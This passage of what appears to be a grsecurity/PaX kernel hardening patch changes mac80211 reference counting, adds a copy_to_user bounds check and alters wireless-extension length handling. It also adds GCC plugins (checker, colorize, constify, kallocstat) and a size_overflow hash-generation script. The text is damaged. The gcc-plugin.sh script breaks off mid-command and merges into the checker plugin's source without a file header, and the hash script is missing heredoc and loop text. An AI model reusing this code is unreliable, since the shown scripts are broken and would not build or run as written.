amdpu_ac_stop_refcnt */ + spinlock_t queue_stop_reason_lock; + +- int open_count; ++ local_t open_count; + int monitors, cooked_mntrs; + /* number of interfaces with corresponding FIF_ flags */ + int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll, +--- net/mac80211/iface.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/mac80211/iface.c 2012-10-15 17:30:59.827924531 +0000 +@@ -454,7 +454,7 @@ static int ieee80211_do_open(struct net_ + break; + } + +- if (local->open_count == 0) { ++ if (local_read(&local->open_count) == 0) { + res = drv_start(local); + if (res) + goto err_del_bss; +@@ -497,7 +497,7 @@ static int ieee80211_do_open(struct net_ + break; + } + +- if (local->monitors == 0 && local->open_count == 0) { ++ if (local->monitors == 0 && local_read(&local->open_count) == 0) { + res = ieee80211_add_virtual_monitor(local); + if (res) + goto err_stop; +@@ -594,7 +594,7 @@ static int ieee80211_do_open(struct net_ + mutex_unlock(&local->mtx); + + if (coming_up) +- local->open_count++; ++ local_inc(&local->open_count); + + if (hw_reconf_flags) + ieee80211_hw_config(local, hw_reconf_flags); +@@ -607,7 +607,7 @@ static int ieee80211_do_open(struct net_ + err_del_interface: + drv_remove_interface(local, sdata); + err_stop: +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + drv_stop(local); + err_del_bss: + sdata->bss = NULL; +@@ -741,7 +741,7 @@ static void ieee80211_do_stop(struct iee + } + + if (going_down) +- local->open_count--; ++ local_dec(&local->open_count); + + switch (sdata->vif.type) { + case NL80211_IFTYPE_AP_VLAN: +@@ -801,7 +801,7 @@ static void ieee80211_do_stop(struct iee + + ieee80211_recalc_ps(local, -1); + +- if (local->open_count == 0) { ++ if (local_read(&local->open_count) == 0) { + if (local->ops->napi_poll) + napi_disable(&local->napi); + ieee80211_clear_tx_pending(local); +@@ -833,7 +833,7 @@ static void ieee80211_do_stop(struct iee + } + spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags); + +- if (local->monitors == local->open_count && local->monitors > 0) ++ if (local->monitors == local_read(&local->open_count) && local->monitors > 0) + ieee80211_add_virtual_monitor(local); + } + +--- net/mac80211/main.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/mac80211/main.c 2012-10-15 17:30:59.827924531 +0000 +@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211 + local->hw.conf.power_level = power; + } + +- if (changed && local->open_count) { ++ if (changed && local_read(&local->open_count)) { + ret = drv_config(local, changed); + /* + * Goal: +--- net/mac80211/pm.c 2012-09-27 23:19:11.000000000 +0000 ++++ net/mac80211/pm.c 2012-10-15 17:30:59.828924531 +0000 +@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211 + struct ieee80211_sub_if_data *sdata; + struct sta_info *sta; + +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + goto suspend; + + ieee80211_scan_cancel(local); +@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211 + cancel_work_sync(&local->dynamic_ps_enable_work); + del_timer_sync(&local->dynamic_ps_timer); + +- local->wowlan = wowlan && local->open_count; ++ local->wowlan = wowlan && local_read(&local->open_count); + if (local->wowlan) { + int err = drv_suspend(local, wowlan); + if (err < 0) { +@@ -143,7 +143,7 @@ int __ieee80211_suspend(struct ieee80211 + drv_remove_interface(local, sdata); + + /* stop hardware - this must stop RX */ +- if (local->open_count) ++ if (local_read(&local->open_count)) + ieee80211_stop_device(local); + + suspend: +--- net/mac80211/rate.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/mac80211/rate.c 2012-10-15 17:30:59.828924531 +0000 +@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct + + ASSERT_RTNL(); + +- if (local->open_count) ++ if (local_read(&local->open_count)) + return -EBUSY; + + if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) { +--- net/mac80211/rc80211_pid_debugfs.c 2012-09-27 23:19:11.000000000 +0000 ++++ net/mac80211/rc80211_pid_debugfs.c 2012-10-15 17:30:59.828924531 +0000 +@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r + + spin_unlock_irqrestore(&events->lock, status); + +- if (copy_to_user(buf, pb, p)) ++ if (p > sizeof(pb) || copy_to_user(buf, pb, p)) + return -EFAULT; + + return p; +--- net/mac80211/util.c 2012-09-27 23:19:11.000000000 +0000 ++++ net/mac80211/util.c 2012-10-15 17:30:59.828924531 +0000 +@@ -1251,7 +1251,7 @@ int ieee80211_reconfig(struct ieee80211_ + } + #endif + /* everything else happens only if HW was up & running */ +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + goto wake_up; + + /* +--- net/wireless/core.h 2012-09-27 23:19:11.000000000 +0000 ++++ net/wireless/core.h 2012-10-15 17:30:59.829924531 +0000 +@@ -28,7 +28,7 @@ struct cfg80211_registered_device { + struct mutex mtx; + + /* rfkill support */ +- struct rfkill_ops rfkill_ops; ++ rfkill_ops_no_const rfkill_ops; + struct rfkill *rfkill; + struct work_struct rfkill_sync; + +--- net/wireless/wext-core.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/wireless/wext-core.c 2012-10-15 17:30:59.829924531 +0000 +@@ -792,8 +792,7 @@ static int ioctl_standard_iw_point(struc + */ + + /* Support for very large requests */ +- if ((descr->flags & IW_DESCR_FLAG_NOMAX) && +- (user_length > descr->max_tokens)) { ++ if (user_length > descr->max_tokens) { + /* Allow userspace to GET more than max so + * we can support any size GET requests. + * There is still a limit : -ENOMEM. +@@ -832,22 +831,6 @@ static int ioctl_standard_iw_point(struc + } + } + +- if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) { +- /* +- * If this is a GET, but not NOMAX, it means that the extra +- * data is not bounded by userspace, but by max_tokens. Thus +- * set the length to max_tokens. This matches the extra data +- * allocation. +- * The driver should fill it with the number of tokens it +- * provided, and it may check iwp->length rather than having +- * knowledge of max_tokens. If the driver doesn't change the +- * iwp->length, this ioctl just copies back max_token tokens +- * filled with zeroes. Hopefully the driver isn't claiming +- * them to be valid data. +- */ +- iwp->length = descr->max_tokens; +- } +- + err = handler(dev, info, (union iwreq_data *) iwp, extra); + + iwp->length += essid_compat; +--- scripts/gcc-plugin.sh 1970-01-01 00:00:00.000000000 +0000 ++++ scripts/gcc-plugin.sh 2012-10-15 17:30:59.829924531 +0000 +@@ -0,0 +1,17 @@ ++#!/bin/bash ++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 < ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to implement various sparse (source code checker) features ++ * ++ * TODO: ++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch) ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++#include "target.h" ++ ++extern void c_register_addr_space (const char *str, addr_space_t as); ++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t); ++extern enum machine_mode default_addr_space_address_mode (addr_space_t); ++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as); ++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as); ++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as); ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++extern rtx emit_move_insn(rtx x, rtx y); ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info checker_plugin_info = { ++ .version = "201111150100", ++}; ++ ++#define ADDR_SPACE_KERNEL 0 ++#define ADDR_SPACE_FORCE_KERNEL 1 ++#define ADDR_SPACE_USER 2 ++#define ADDR_SPACE_FORCE_USER 3 ++#define ADDR_SPACE_IOMEM 0 ++#define ADDR_SPACE_FORCE_IOMEM 0 ++#define ADDR_SPACE_PERCPU 0 ++#define ADDR_SPACE_FORCE_PERCPU 0 ++#define ADDR_SPACE_RCU 0 ++#define ADDR_SPACE_FORCE_RCU 0 ++ ++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace) ++{ ++ return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC); ++} ++ ++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace) ++{ ++ return default_addr_space_address_mode(ADDR_SPACE_GENERIC); ++} ++ ++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as) ++{ ++ return default_addr_space_valid_pointer_mode(mode, as); ++} ++ ++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as) ++{ ++ return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC); ++} ++ ++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as) ++{ ++ return default_addr_space_legitimize_address(x, oldx, mode, as); ++} ++ ++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset) ++{ ++ if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL) ++ return true; ++ ++ if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER) ++ return true; ++ ++ if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM) ++ return true; ++ ++ if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER) ++ return true; ++ ++ if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM) ++ return true; ++ ++ if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL) ++ return true; ++ ++ if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL) ++ return true; ++ ++ return subset == superset; ++} ++ ++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type) ++{ ++// addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type)); ++// addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type)); ++ ++ return op; ++} ++ ++static void register_checker_address_spaces(void *event_data, void *data) ++{ ++ c_register_addr_space("__kernel", ADDR_SPACE_KERNEL); ++ c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL); ++ c_register_addr_space("__user", ADDR_SPACE_USER); ++ c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER); ++// c_register_addr_space("__iomem", ADDR_SPACE_IOMEM); ++// c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM); ++// c_register_addr_space("__percpu", ADDR_SPACE_PERCPU); ++// c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU); ++// c_register_addr_space("__rcu", ADDR_SPACE_RCU); ++// c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU); ++ ++ targetm.addr_space.pointer_mode = checker_addr_space_pointer_mode; ++ targetm.addr_space.address_mode = checker_addr_space_address_mode; ++ targetm.addr_space.valid_pointer_mode = checker_addr_space_valid_pointer_mode; ++ targetm.addr_space.legitimate_address_p = checker_addr_space_legitimate_address_p; ++// targetm.addr_space.legitimize_address = checker_addr_space_legitimize_address; ++ targetm.addr_space.subset_p = checker_addr_space_subset_p; ++ targetm.addr_space.convert = checker_addr_space_convert; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info); ++ ++ for (i = 0; i < argc; ++i) ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ ++ if (TARGET_64BIT == 0) ++ return 0; ++ ++ register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL); ++ ++ return 0; ++} +--- tools/gcc/colorize_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/colorize_plugin.c 2012-10-15 17:30:59.830924531 +0000 +@@ -0,0 +1,148 @@ ++/* ++ * Copyright 2012 by PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to colorize diagnostic output ++ * ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info colorize_plugin_info = { ++ .version = "201203092200", ++ .help = NULL, ++}; ++ ++#define GREEN "\033[32m\033[2m" ++#define LIGHTGREEN "\033[32m\033[1m" ++#define YELLOW "\033[33m\033[2m" ++#define LIGHTYELLOW "\033[33m\033[1m" ++#define RED "\033[31m\033[2m" ++#define LIGHTRED "\033[31m\033[1m" ++#define BLUE "\033[34m\033[2m" ++#define LIGHTBLUE "\033[34m\033[1m" ++#define BRIGHT "\033[m\033[1m" ++#define NORMAL "\033[m" ++ ++static diagnostic_starter_fn old_starter; ++static diagnostic_finalizer_fn old_finalizer; ++ ++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic) ++{ ++ const char *color; ++ char *newprefix; ++ ++ switch (diagnostic->kind) { ++ case DK_NOTE: ++ color = LIGHTBLUE; ++ break; ++ ++ case DK_PEDWARN: ++ case DK_WARNING: ++ color = LIGHTYELLOW; ++ break; ++ ++ case DK_ERROR: ++ case DK_FATAL: ++ case DK_ICE: ++ case DK_PERMERROR: ++ case DK_SORRY: ++ color = LIGHTRED; ++ break; ++ ++ default: ++ color = NORMAL; ++ } ++ ++ old_starter(context, diagnostic); ++ if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix)) ++ return; ++ pp_destroy_prefix(context->printer); ++ pp_set_prefix(context->printer, newprefix); ++} ++ ++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic) ++{ ++ old_finalizer(context, diagnostic); ++} ++ ++static void colorize_arm(void) ++{ ++ old_starter = diagnostic_starter(global_dc); ++ old_finalizer = diagnostic_finalizer(global_dc); ++ ++ diagnostic_starter(global_dc) = start_colorize; ++ diagnostic_finalizer(global_dc) = finalize_colorize; ++} ++ ++static unsigned int execute_colorize_rearm(void) ++{ ++ if (diagnostic_starter(global_dc) == start_colorize) ++ return 0; ++ ++ colorize_arm(); ++ return 0; ++} ++ ++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = { ++ .pass = { ++ .type = SIMPLE_IPA_PASS, ++ .name = "colorize_rearm", ++ .gate = NULL, ++ .execute = execute_colorize_rearm, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static void colorize_start_unit(void *gcc_data, void *user_data) ++{ ++ colorize_arm(); ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info colorize_rearm_pass_info = { ++ .pass = &pass_ipa_colorize_rearm.pass, ++ .reference_pass_name = "*free_lang_data", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info); ++ register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info); ++ return 0; ++} +--- tools/gcc/constify_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/constify_plugin.c 2012-10-15 17:30:59.830924531 +0000 +@@ -0,0 +1,331 @@ ++/* ++ * Copyright 2011 by Emese Revfy ++ * Copyright 2011 by PaX Team ++ * Licensed under the GPL v2, or (at your option) v3 ++ * ++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification. ++ * ++ * Homepage: ++ * http://www.grsecurity.net/~ephox/const_plugin/ ++ * ++ * Usage: ++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c ++ * $ gcc -fplugin=constify_plugin.so test.c -O2 ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE) ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info const_plugin_info = { ++ .version = "201205300030", ++ .help = "no-constify\tturn off constification\n", ++}; ++ ++static void deconstify_tree(tree node); ++ ++static void deconstify_type(tree type) ++{ ++ tree field; ++ ++ for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) { ++ tree type = TREE_TYPE(field); ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) ++ continue; ++ if (!TYPE_READONLY(type)) ++ continue; ++ ++ deconstify_tree(field); ++ } ++ TYPE_READONLY(type) = 0; ++ C_TYPE_FIELDS_READONLY(type) = 0; ++} ++ ++static void deconstify_tree(tree node) ++{ ++ tree old_type, new_type, field; ++ ++ old_type = TREE_TYPE(node); ++ ++ gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST)); ++ ++ new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST); ++ TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type)); ++ for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field)) ++ DECL_FIELD_CONTEXT(field) = new_type; ++ ++ deconstify_type(new_type); ++ ++ TREE_READONLY(node) = 0; ++ TREE_TYPE(node) = new_type; ++} ++ ++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ tree type; ++ ++ *no_add_attrs = true; ++ if (TREE_CODE(*node) == FUNCTION_DECL) { ++ error("%qE attribute does not apply to functions", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == VAR_DECL) { ++ error("%qE attribute does not apply to variables", name); ++ return NULL_TREE; ++ } ++ ++ if (TYPE_P(*node)) { ++ if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE) ++ *no_add_attrs = false; ++ else ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ type = TREE_TYPE(*node); ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) { ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) { ++ error("%qE attribute is already applied to the type", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) { ++ error("%qE attribute used on type that is not constified", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == TYPE_DECL) { ++ deconstify_tree(*node); ++ return NULL_TREE; ++ } ++ ++ return NULL_TREE; ++} ++ ++static void constify_type(tree type) ++{ ++ TYPE_READONLY(type) = 1; ++ C_TYPE_FIELDS_READONLY(type) = 1; ++} ++ ++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ *no_add_attrs = true; ++ if (!TYPE_P(*node)) { ++ error("%qE attribute applies to types only", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) { ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ *no_add_attrs = false; ++ constify_type(*node); ++ return NULL_TREE; ++} ++ ++static struct attribute_spec no_const_attr = { ++ .name = "no_const", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = false, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_no_const_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = true ++#endif ++}; ++ ++static struct attribute_spec do_const_attr = { ++ .name = "do_const", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = false, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_do_const_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = true ++#endif ++}; ++ ++static void register_attributes(void *event_data, void *data) ++{ ++ register_attribute(&no_const_attr); ++ register_attribute(&do_const_attr); ++} ++ ++static bool is_fptr(tree field) ++{ ++ tree ptr = TREE_TYPE(field); ++ ++ if (TREE_CODE(ptr) != POINTER_TYPE) ++ return false; ++ ++ return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE; ++} ++ ++static bool walk_struct(tree node) ++{ ++ tree field; ++ ++ if (TYPE_FIELDS(node) == NULL_TREE) ++ return false; ++ ++ if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) { ++ gcc_assert(!TYPE_READONLY(node)); ++ deconstify_type(node); ++ return false; ++ } ++ ++ for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) { ++ tree type = TREE_TYPE(field); ++ enum tree_code code = TREE_CODE(type); ++ ++ if (node == type) ++ return false; ++ if (code == RECORD_TYPE || code == UNION_TYPE) { ++ if (!(walk_struct(type))) ++ return false; ++ } else if (!is_fptr(field) && !TREE_READONLY(field)) ++ return false; ++ } ++ return true; ++} ++ ++static void finish_type(void *event_data, void *data) ++{ ++ tree type = (tree)event_data; ++ ++ if (type == NULL_TREE || type == error_mark_node) ++ return; ++ ++ if (TYPE_READONLY(type)) ++ return; ++ ++ if (walk_struct(type)) ++ constify_type(type); ++} ++ ++static unsigned int check_local_variables(void); ++ ++struct gimple_opt_pass pass_local_variable = { ++ { ++ .type = GIMPLE_PASS, ++ .name = "check_local_variables", ++ .gate = NULL, ++ .execute = check_local_variables, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static unsigned int check_local_variables(void) ++{ ++ tree var; ++ referenced_var_iterator rvi; ++ ++#if BUILDING_GCC_VERSION == 4005 ++ FOR_EACH_REFERENCED_VAR(var, rvi) { ++#else ++ FOR_EACH_REFERENCED_VAR(cfun, var, rvi) { ++#endif ++ tree type = TREE_TYPE(var); ++ ++ if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var)) ++ continue; ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) ++ continue; ++ ++ if (!TYPE_READONLY(type)) ++ continue; ++ ++// if (lookup_attribute("no_const", DECL_ATTRIBUTES(var))) ++// continue; ++ ++// if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type))) ++// continue; ++ ++ if (walk_struct(type)) { ++ error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var); ++ return 1; ++ } ++ } ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ bool constify = true; ++ ++ struct register_pass_info local_variable_pass_info = { ++ .pass = &pass_local_variable.pass, ++ .reference_pass_name = "*referenced_vars", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ for (i = 0; i < argc; ++i) { ++ if (!(strcmp(argv[i].key, "no-constify"))) { ++ constify = false; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info); ++ if (constify) { ++ register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info); ++ } ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +--- tools/gcc/generate_size_overflow_hash.sh 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/generate_size_overflow_hash.sh 2012-10-15 17:30:59.830924531 +0000 +@@ -0,0 +1,94 @@ ++#!/bin/bash ++ ++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c). ++ ++header1="size_overflow_hash.h" ++database="size_overflow_hash.data" ++n=65536 ++ ++usage() { ++cat <> "$header1" ++ done ++ echo >> "$header1" ++} ++ ++create_structs () { ++ rm -f "$header1" ++ ++ create_defines ++ ++ cat "$database" | while read data ++ do ++ data_array=($data) ++ struct_hash_name="${data_array[0]}" ++ funcn="${data_array[1]}" ++ params="${data_array[2]}" ++ next="${data_array[5]}" ++ ++ echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1" ++ ++ echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1" ++ echo -en "\t.param\t= " >> "$header1" ++ line= ++ for param_num in ${params//-/ }; ++ do ++ line="${line}PARAM"$param_num"|" ++ done ++ ++ echo -e "${line%?},\n};\n" >> "$header1" ++ done ++} ++ ++create_headers () { ++ echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1" ++} ++ ++create_array_elements () { ++ index=0 ++ grep -v "nohasharray" $database | sort -n -k 4 | while read data ++ do ++ data_array=($data) ++ i="${data_array[3]}" ++ hash="${data_array[4]}" ++ while [[ $index -lt $i ]] ++ do ++ echo -e "\t["$index"]\t= NULL," >> "$header1" ++ index=$(($index + 1)) ++ done ++ index=$(($index + 1)) ++ echo -e "\t["$i"]\t= &"$hash"," >> "$header1" ++ done ++ echo '};' >> $header1 ++} ++ ++create_structs ++create_headers ++create_array_elements ++ ++exit 0 +--- tools/gcc/kallocstat_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/kallocstat_plugin.c 2012-10-15 17:30:59.831924531 +0000 +@@ -0,0 +1,167 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to find the distribution of k*alloc sizes ++ * ++ * TODO: ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++ ++int plugin_is_GPL_compatible; ++ ++static const char * const kalloc_functions[] = { ++ "__kmalloc", ++ "kmalloc", ++ "kmalloc_large", ++ "kmalloc_node", ++ "kmalloc_order", ++ "kmalloc_order_trace", ++ "kmalloc_slab", ++ "kzalloc", ++ "kzalloc_node", ++}; ++ ++static struct plugin_info kallocstat_plugin_info = { ++ .version = "201111150100", ++}; ++ ++static unsigned int execute_kallocstat(void); ++ ++static struct gimple_opt_pass kallocstat_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kallocstat", ++ .gate = NULL, ++ .execute = execute_kallocstat, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static bool is_kalloc(const char *fnname) ++{ ++ size_t i; ++ ++ for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++) ++ if (!strcmp(fnname, kalloc_functions[i])) ++ return true; ++ return false; ++} ++ ++static unsigned int 